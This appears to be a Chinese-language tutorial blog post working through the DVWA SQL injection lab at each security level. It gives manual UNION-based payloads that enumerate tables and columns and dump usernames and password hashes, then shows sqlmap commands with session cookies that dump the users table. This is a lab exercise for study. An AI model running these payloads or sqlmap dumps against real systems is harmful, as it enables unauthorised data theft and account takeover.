DVWA SQL Injection(SQL注入)全等级
SQL Injection(SQL回显注入)
目录:
注入思路:
是否有注入?是字符型还是数字型?查看回显位
1. Low
源码关键语句
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
通过查询语句可以看到,它是根据限制user_id字段来回显数据的,
我们的可控位置就是$id这个变量
可以通过单引号闭合,然后通过#注释掉之后的语句来实现sql注入
例如
$query = “SELECT first_name, last_name FROM users WHERE user_id = ‘1’ union select user,password from users #’;”;
获取字段个数
1’ order by n #

查看回显位

获取当前数据库
-1’ union select database(),version() #

查询database里的表名
information_schema是信息数据库,其中保存着关于mysql服务器所维护的所有其他数据库的信息。
-1’ union select 1,table_name COLLATE utf8_general_ci from information_schema.tables where table_schema=database() #

查询users里的列名
-1’ union select 1,column_name COLLATE utf8_general_ci from information_schema.columns where table_name=‘users’ #

查看字段数据
-1’ union select user,password from users #

2.Medium
只能选择固定的几个数字
添加了mysqli_real_escape_string() 函数,过滤了一些特殊字符
查看源码发现是数字型注入
可以用burp抓包,在burp里注入
burp重复Low级的操作,但是注意是数字型数据,所以不要用单引号闭合

3. High
多了LIMIT 1,SELECT只能执行一条查询语句。
绕过非常简单,只要#注释掉后面的语句就行了。
在搜索框或者burp实行和Low级别一样的操作就行了。

4.Impossible
只能输入数字,不可能产生注入。
5.运用sqlmap自动化注入
1.查看信息
首先-u指定可能存在url注入的url地址,然后–cookie指定cookie值
python sqlmap.py -u "http://192.168.171.10/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security_level=0; PHPSESSID=ho05i9sr7evr6chgqs3d0d3n50; security=low"

结果:

可以查看到靶机的一些信息。
2.查看数据库名
–dbs参数代表查看存在的数据库名
python sqlmap.py -u "http://192.168.171.10/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security_level=0; PHPSESSID=ho05i9sr7evr6chgqs3d0d3n50; security=low" --dbs

结果:

3.查看表名
-D指定数据库名为dvwa,–tables查看表名
python sqlmap.py -u "http://192.168.171.10/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security_level=0; PHPSESSID=ho05i9sr7evr6chgqs3d0d3n50; security=low" -D dvwa --tables

结果:
user表明显是存放用户数据的表,所以下一步查看此表数据

4.查看字段名
-T指定表名,–columns 查看字段名
python sqlmap.py -u "http://192.168.171.10/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security_level=0; PHPSESSID=ho05i9sr7evr6chgqs3d0d3n50; security=low" -D dvwa -T users --columns

结果:
可以查看存在password字段

5.查看字段数据
-C指定查看的字段名,–dump查看字段数据
python sqlmap.py -u "http://192.168.171.10/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security_level=0; PHPSESSID=ho05i9sr7evr6chgqs3d0d3n50; security=low" -D dvwa -T users -C "user,password" --dump

结果:

登录
尝试拿获取的数据登录

登陆成功,用户名为gordonb

DVWA SQL Injection(SQL注入)全等级的更多相关文章
- Fortify Audit Workbench 笔记 SQL Injection SQL注入
SQL Injection SQL注入 Abstract 通过不可信来源的输入构建动态 SQL 指令,攻击者就能够修改指令的含义或者执行任意 SQL 命令. Explanation SQL injec ...
- SQL Injection(SQL注入)
什么是SQL注入? SQL(结构化查询语言)注入,通常称为 SQLi,是对 Web 应用程序数据库服务器的攻击,会导致执行恶意查询.当 Web 应用程序使用未经正确验证的用户输入与数据库通信时,攻击者 ...
- (十一)DVWA全等级SQL Injection(Blind)盲注--手工测试过程解析
一.DVWA-SQL Injection(Blind)测试分析 SQL盲注 VS 普通SQL注入: 普通SQL注入 SQL盲注 1.执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提 ...
- DVWA全级别之SQL Injection(SQL注入)
DVWA全级别之SQL Injection(注入) DVWA简介 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web ...
- DVWA系列2:SQL Injection
DVWA系列2:SQL Injection 前言 SQL 注入是比较常见的攻击类型,之前一直听说过,也尝试看过一些教程,但其中的单引号,字符串拼接等感觉有点抽象,不知道为什么要这么做.这次就使用 DV ...
- 新手指南:DVWA-1.9全级别教程之SQL Injection
*本文原创作者:lonehand,转载须注明来自FreeBuf.COM 目前,最新的DVWA已经更新到1.9版本(http://www.dvwa.co.uk/),而网上的教程大多停留在旧版本,且没有针 ...
- DVWA之SQL Injection
SQL Injection SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的.SQL注入漏洞的危害是巨大的,常常 ...
- Portswigger web security academy:SQL injection
Portswigger web security academy:SQL injection 目录 Portswigger web security academy:SQL injection SQL ...
- DVWA(三):SQL injection 全等级SQL注入
(本文不定期更新) 一.所需环境: 1.DVWA 2.web环境 phpstudy/wamp 3.burp suite 二.SQL注入产生的原因: 程序员在编写代码的时候,没有对用户输入数据的合法性进 ...
- (十二)DVWA全等级SQL Injection(Blind)盲注--SQLMap测试过程解析
一.测试前分析 前文<DVWA全等级SQL Injection(Blind)盲注-手工测试过程解析> 通过手工测试的方式详细分析了SQL Injection(Blind)盲注漏洞的利用过程 ...
随机推荐
- Python 网页爬虫原理及代理 IP 使用
一.Python 网页爬虫原理 Python 是一种高效的编程语言,在 Web 开发和数据分析领域广受欢迎.Python 的优秀模块使其更加适合大规模数据处理和 Web 服务的编程.网络爬虫是 Pyt ...
- npm install xxx 后加上-s、-d、-g之间的区别?
1.npm install xxx -s npm install xxx -s.npm install xxx -S是npm install xxx --save的简写形式 局部安装,记录在packa ...
- Go反射终极指南:从基础到高级全方位解析
在本文中,我们将全面深入地探讨Go语言的反射机制.从反射的基础概念.为什么需要反射,到如何在Go中实现反射,以及在高级编程场景如泛型编程和插件架构中的应用,本文为您提供一站式的学习指南. 关注[Tec ...
- Maze 1D 题解
题目大意 在数轴上给定一串行动指令,类型有两种:向左移动一个单位 / 向右移动一个单位.要求最后一步到达一个没有到达过的位置.可以在数轴上放置若干个障碍物阻碍移动,问在放置的障碍物最少的情况下有多少放 ...
- [ABC205F] Grid and Tokens 题解
Grid and Tokens 题目大意 给定 \(n\) 个点和一个 \(H\times W\) 的网格,每个点可以放置在 \((A_i,B_i)\) 到 \((C_i,D_i)\) 的矩形中或不放 ...
- 17. 从零开始编写一个类nginx工具, Rust中一些功能的实现
wmproxy wmproxy将用Rust实现http/https代理, socks5代理, 反向代理, 静态文件服务器,后续将实现websocket代理, 内外网穿透等, 会将实现过程分享出来, 感 ...
- Java文件与IO流
首先我们要清楚什么是流,正如其名,很形象,流就是像水一样的东西,具有方向性,在java中 ,流大概就是类 接下来,我们要对输入输出流有一个基本认识,什么是输入输出流呢? 输入输出明显需要一个参照,而这 ...
- CF1523D Love-Hate 题解
抽象化题意: 一共有 \(m\) 个元素,给定 \(n\) 个集合,每个集合的元素不超过 \(15\) 个,求出一个元素个数最多的集合 \(S\) 是至少 \(\lceil \dfrac{n}{2} ...
- docker 安装、升级、修改数据目录
1.查看系统要求 Docker 要求 CentOS 系统的内核版本高于 3.10 ,查看CentOS的内核版本. uname -a 2.删除旧版本 yum remove docker docker-c ...
- 聊聊RNN与Attention
RNN系列: 聊聊RNN&LSTM 聊聊RNN与seq2seq attention mechanism,称为注意力机制.基于Attention机制,seq2seq可以像我们人类一样,将&quo ...